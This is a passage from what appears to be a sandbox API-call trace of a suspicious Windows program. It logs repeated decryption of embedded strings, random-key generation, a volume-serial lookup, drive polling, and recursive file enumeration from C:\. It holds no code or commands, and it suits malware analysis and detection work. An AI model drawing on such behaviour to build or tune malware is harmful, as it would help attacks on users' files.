RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xabbd98, Size=0x200) returned 0x2a574a0 [0049.815] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xabbea0, Size=0x104) returned 0xabbd08 [0049.815] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab6fe8, Size=0x100) returned 0xabbe18 [0049.815] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5df8 | out: hHeap=0xab0000) returned 1 [0049.815] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a574a0 | out: hHeap=0xab0000) returned 1 [0049.815] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a56ba8 | out: hHeap=0xab0000) returned 1 [0049.816] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0049.816] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7140 | out: hHeap=0xab0000) returned 1 [0049.816] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5e20 | out: hHeap=0xab0000) returned 1 [0049.816] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5e08 | out: hHeap=0xab0000) returned 1 [0049.816] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a57390 | out: hHeap=0xab0000) returned 1 [0049.816] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71e0 | out: hHeap=0xab0000) returned 1 [0049.816] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabbd08 | out: hHeap=0xab0000) returned 1 [0049.816] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a56bc0 | out: hHeap=0xab0000) returned 1 [0049.817] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabbf30 | out: hHeap=0xab0000) returned 1 [0049.817] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a56bd8 | out: hHeap=0xab0000) returned 1 [0049.817] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab6130 | out: hHeap=0xab0000) returned 1 [0049.817] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14e8 | out: hHeap=0xab0000) returned 1 [0049.817] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7088 | out: hHeap=0xab0000) returned 1 [0049.817] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7070 | out: hHeap=0xab0000) returned 1 [0049.817] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabbe18 | out: hHeap=0xab0000) returned 1 [0049.817] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5fd0 | out: hHeap=0xab0000) returned 1 [0049.817] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7130 | out: hHeap=0xab0000) returned 1 [0049.817] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7118 | out: hHeap=0xab0000) returned 1 [0049.818] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5f80 | out: hHeap=0xab0000) returned 1 [0049.818] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5fb0 | out: hHeap=0xab0000) returned 1 [0049.818] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0xa4) returned 0xab5de8 [0049.818] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0049.818] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14b8 | out: hHeap=0xab0000) returned 1 [0049.818] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5ee8 | out: hHeap=0xab0000) returned 1 [0049.818] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14d0 | out: hHeap=0xab0000) returned 1 [0049.818] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x14) returned 0xab5e98 [0049.818] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0xe) returned 0x2a56bd8 [0049.818] ResetEvent (hEvent=0x128) returned 1 [0049.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb83bdf, lpParameter=0xab5e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0049.819] CloseHandle (hObject=0x12c) returned 1 [0049.819] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56bc0 [0049.819] CryptImportKey (in: hProv=0x4c5018, pbData=0x222f960*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x222f9c8 | out: phKey=0x222f9c8*=0x4cbfe8) returned 1 [0049.819] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x222f9b0, dwFlags=0x0) returned 1 [0049.819] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2a56bc0, pdwDataLen=0x222f97c | out: pbData=0x2a56bc0, pdwDataLen=0x222f97c) returned 1 [0049.819] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56ba8 [0049.820] CryptImportKey (in: hProv=0x4c5018, pbData=0x222f958*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x222f9c0 | out: phKey=0x222f9c0*=0x4cbfe8) returned 1 [0049.820] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x222f9a8, dwFlags=0x0) returned 1 [0049.820] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2a56ba8, pdwDataLen=0x222f974 | out: pbData=0x2a56ba8, pdwDataLen=0x222f974) returned 1 [0049.820] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56bf0 [0049.820] CryptImportKey (in: hProv=0x4c5018, pbData=0x222f950*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x222f9b8 | out: phKey=0x222f9b8*=0x4cbfe8) returned 1 [0049.820] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x222f9a0, dwFlags=0x0) returned 1 [0049.820] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2a56bf0, pdwDataLen=0x222f96c | out: pbData=0x2a56bf0, pdwDataLen=0x222f96c) returned 1 [0049.820] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab5ee8 [0049.820] CryptImportKey (in: hProv=0x4c5018, pbData=0x222f948*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x222f9b0 | out: phKey=0x222f9b0*=0x4cbfe8) returned 1 [0049.820] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x222f998, dwFlags=0x0) returned 1 [0049.820] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab5ee8, pdwDataLen=0x222f964 | out: pbData=0xab5ee8, pdwDataLen=0x222f964) returned 1 [0049.820] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56c08 [0049.820] CryptImportKey (in: hProv=0x4c5018, pbData=0x222f940*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x222f9a8 | out: phKey=0x222f9a8*=0x4cbfe8) returned 1 [0049.820] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x222f990, dwFlags=0x0) returned 1 [0049.820] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2a56c08, pdwDataLen=0x222f95c | out: pbData=0x2a56c08, pdwDataLen=0x222f95c) returned 1 [0049.820] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.820] htonl (hostlong=0x8443a5af) returned 0xafa54384 [0049.820] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x20, pbBuffer=0x222fa70 | out: pbBuffer=0x222fa70) returned 1 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x28) returned 0xab5f80 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56c20 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x4) returned 0xab6130 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x14) returned 0xab5fb0 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56c38 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x80) returned 0xab6fe8 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56c50 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x82) returned 0xab7070 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56c68 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x4) returned 0xab5fd0 [0049.820] CryptGenRandom (in: hProv=0x4c8598, dwLen=0x55, pbBuffer=0x222f9f2 | out: pbBuffer=0x222f9f2) returned 1 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56c80 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x80) returned 0xab7100 [0049.820] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56c98 [0049.821] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x2) returned 0xab14a0 [0049.821] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x4) returned 0xab14b0 [0049.821] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56cb0 [0049.821] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x80) returned 0xabbd08 [0049.821] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56cc8 [0049.821] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x4) returned 0xab14c0 [0049.821] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab14a0, Size=0x82) returned 0xabbd90 [0049.821] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab14c0, Size=0x100) returned 0xabbe20 [0049.821] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56ce0 [0049.821] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x82) returned 0xabbf40 [0049.821] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56cf8 [0049.821] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x82) returned 0xabbfd0 [0049.821] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xabbd90, Size=0x104) returned 0x2a57390 [0049.821] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xabbe20, Size=0x200) returned 0x2a574a0 [0049.822] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14b0 | out: hHeap=0xab0000) returned 1 [0049.822] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a574a0 | out: hHeap=0xab0000) returned 1 [0049.822] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a56cc8 | out: hHeap=0xab0000) returned 1 [0049.823] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7100 | out: hHeap=0xab0000) returned 1 [0049.823] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a56c80 | out: hHeap=0xab0000) returned 1 [0049.823] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabbd08 | out: hHeap=0xab0000) returned 1 [0049.823] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a56cb0 | out: hHeap=0xab0000) returned 1 [0049.823] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a57390 | out: hHeap=0xab0000) returned 1 [0049.823] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a56c98 | out: hHeap=0xab0000) returned 1 [0049.824] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabbf40 | out: hHeap=0xab0000) returned 1 [0049.824] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a56ce0 | out: hHeap=0xab0000) returned 1 [0049.824] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabbfd0 | out: hHeap=0xab0000) returned 1 [0049.824] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a56cf8 | out: hHeap=0xab0000) returned 1 [0049.824] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab6130 | out: hHeap=0xab0000) returned 1 [0049.824] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a56c20 | out: hHeap=0xab0000) returned 1 [0049.825] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7070 | out: hHeap=0xab0000) returned 1 [0049.825] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a56c50 | out: hHeap=0xab0000) returned 1 [0049.825] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab6fe8 | out: hHeap=0xab0000) returned 1 [0049.825] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a56c38 | out: hHeap=0xab0000) returned 1 [0049.825] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5fd0 | out: hHeap=0xab0000) returned 1 [0049.825] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a56c68 | out: hHeap=0xab0000) returned 1 [0049.825] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5f80 | out: hHeap=0xab0000) returned 1 [0049.825] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5fb0 | out: hHeap=0xab0000) returned 1 [0049.825] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0xa4) returned 0xab6fe8 [0049.825] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a56ba8 | out: hHeap=0xab0000) returned 1 [0049.825] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a56bf0 | out: hHeap=0xab0000) returned 1 [0049.826] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5ee8 | out: hHeap=0xab0000) returned 1 [0049.826] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a56c08 | out: hHeap=0xab0000) returned 1 [0049.826] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x14) returned 0xab14a0 [0049.826] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0xe) returned 0x2a56c08 [0049.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb83bdf, lpParameter=0xab14a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0049.827] CloseHandle (hObject=0x12c) returned 1 [0049.827] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) Thread: id = 43 os_tid = 0xfcc [0049.827] GetLogicalDrives () returned 0x4 [0049.827] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab14c0 [0049.827] CryptImportKey (in: hProv=0x4c5018, pbData=0x2a4f98c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a4f9f4 | out: phKey=0x2a4f9f4*=0x4cbfe8) returned 1 [0049.827] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x2a4f9dc, dwFlags=0x0) returned 1 [0049.827] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14c0, pdwDataLen=0x2a4f9a8 | out: pbData=0xab14c0, pdwDataLen=0x2a4f9a8) returned 1 [0049.827] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.827] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab5ee8 [0049.827] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab5f10 [0049.827] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab5f38 [0049.827] CryptImportKey (in: hProv=0x4c5018, pbData=0x2a4f964*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a4f9cc | out: phKey=0x2a4f9cc*=0x4cbfe8) returned 1 [0049.828] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x2a4f9b4, dwFlags=0x0) returned 1 [0049.828] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab5f38, pdwDataLen=0x2a4f980 | out: pbData=0xab5f38, pdwDataLen=0x2a4f980) returned 1 [0049.828] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.828] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5f38 | out: hHeap=0xab0000) returned 1 [0049.828] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab5ee8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0049.828] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5f10 | out: hHeap=0xab0000) returned 1 [0049.828] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14c0 | out: hHeap=0xab0000) returned 1 [0049.828] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a4fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a4fa34*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0049.829] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5ee8 | out: hHeap=0xab0000) returned 1 [0049.829] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab14c0 [0049.829] CryptImportKey (in: hProv=0x4c5018, pbData=0x2a4f9c0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a4fa28 | out: phKey=0x2a4fa28*=0x4cbfe8) returned 1 [0049.829] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x2a4fa10, dwFlags=0x0) returned 1 [0049.829] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14c0, pdwDataLen=0x2a4f9dc | out: pbData=0xab14c0, pdwDataLen=0x2a4f9dc) returned 1 [0049.829] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.829] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x28) returned 0xab5ee8 [0049.829] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x12c [0049.829] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x130 [0049.829] GetLogicalDrives () returned 0x4 [0049.829] Sleep (dwMilliseconds=0x3e8) [0051.709] GetLogicalDrives () returned 0x4 [0051.709] Sleep (dwMilliseconds=0x3e8) [0053.212] GetLogicalDrives () returned 0x4 [0053.212] Sleep (dwMilliseconds=0x3e8) [0054.357] GetLogicalDrives () returned 0x4 [0054.357] Sleep (dwMilliseconds=0x3e8) [0055.653] GetLogicalDrives () returned 0x4 [0055.653] Sleep (dwMilliseconds=0x3e8) [0057.448] GetLogicalDrives () returned 0x4 [0057.449] Sleep (dwMilliseconds=0x3e8) [0058.670] GetLogicalDrives () returned 0x4 [0058.671] Sleep (dwMilliseconds=0x3e8) [0060.309] GetLogicalDrives () returned 0x4 [0060.309] Sleep (dwMilliseconds=0x3e8) [0061.582] GetLogicalDrives () returned 0x4 [0061.582] Sleep (dwMilliseconds=0x3e8) [0062.993] GetLogicalDrives () returned 0x4 [0062.993] Sleep (dwMilliseconds=0x3e8) [0064.140] GetLogicalDrives () returned 0x4 [0064.140] Sleep (dwMilliseconds=0x3e8) [0066.710] GetLogicalDrives () returned 0x4 [0066.710] Sleep (dwMilliseconds=0x3e8) [0067.845] GetLogicalDrives () returned 0x4 [0067.846] Sleep (dwMilliseconds=0x3e8) Thread: id = 44 os_tid = 0xfd4 [0049.883] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x38) returned 0xab5f18 [0049.883] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x18) returned 0xab5f58 [0049.883] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x138 [0049.883] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x13c [0049.883] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x140 [0049.883] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2a57390 [0049.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xb83a08, lpParameter=0x2caf900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0049.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xb83a08, lpParameter=0x2caf900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148 [0049.885] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2a67398 [0049.885] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*" (normalized: "c:\\*"), lpFindFileData=0x2caf674 | out: lpFindFileData=0x2caf674*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x4cbfe8 [0049.886] GetLastError () returned 0x0 [0049.886] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x214) returned 0xabbd08 [0049.886] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75130000 [0049.887] GetCurrentThreadId () returned 0xfd4 [0049.887] SetLastError (dwErrCode=0x0) [0049.887] GetLastError () returned 0x0 [0049.887] SetLastError (dwErrCode=0x0) [0049.887] GetLastError () returned 0x0 [0049.887] SetLastError (dwErrCode=0x0) [0049.887] GetLastError () returned 0x0 [0049.887] SetLastError (dwErrCode=0x0) [0049.887] GetLastError () returned 0x0 [0049.887] SetLastError (dwErrCode=0x0) [0049.887] GetLastError () returned 0x0 [0049.887] SetLastError (dwErrCode=0x0) [0049.887] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2a773a0 [0049.888] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*" (normalized: "c:\\$recycle.bin\\*"), lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x4c8c78 [0049.888] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0049.888] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="S-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0049.888] GetLastError () returned 0x0 [0049.888] SetLastError (dwErrCode=0x0) [0049.888] GetLastError () returned 0x0 [0049.888] SetLastError (dwErrCode=0x0) [0049.888] GetLastError () returned 0x0 [0049.888] SetLastError (dwErrCode=0x0) [0049.888] GetLastError () returned 0x0 [0049.888] SetLastError (dwErrCode=0x0) [0049.888] GetLastError () returned 0x0 [0049.888] SetLastError (dwErrCode=0x0) [0049.888] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2a873a8 [0049.889] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000\\*" (normalized: "c:\\$recycle.bin\\s-1-5-21-4219442223-4223814209-3835049652-1000\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4cda50 [0049.889] FindNextFileW (in: hFindFile=0x4cda50, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.889] FindNextFileW (in: hFindFile=0x4cda50, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0049.889] GetLastError () returned 0x0 [0049.889] SetLastError (dwErrCode=0x0) [0049.889] GetLastError () returned 0x0 [0049.889] SetLastError (dwErrCode=0x0) [0049.889] GetLastError () returned 0x0 [0049.889] SetLastError (dwErrCode=0x0) [0049.889] GetLastError () returned 0x0 [0049.889] SetLastError (dwErrCode=0x0) [0049.889] GetLastError () returned 0x0 [0049.889] SetLastError (dwErrCode=0x0) [0049.889] GetLastError () returned 0x0 [0049.890] SetLastError (dwErrCode=0x0) [0049.890] GetLastError () returned 0x0 [0049.890] SetLastError (dwErrCode=0x0) [0049.890] GetLastError () returned 0x0 [0049.890] SetLastError (dwErrCode=0x0) [0049.890] GetLastError () returned 0x0 [0049.890] SetLastError (dwErrCode=0x0) [0049.890] GetLastError () returned 0x0 [0049.890] SetLastError (dwErrCode=0x0) [0049.890] GetLastError () returned 0x0 [0049.890] 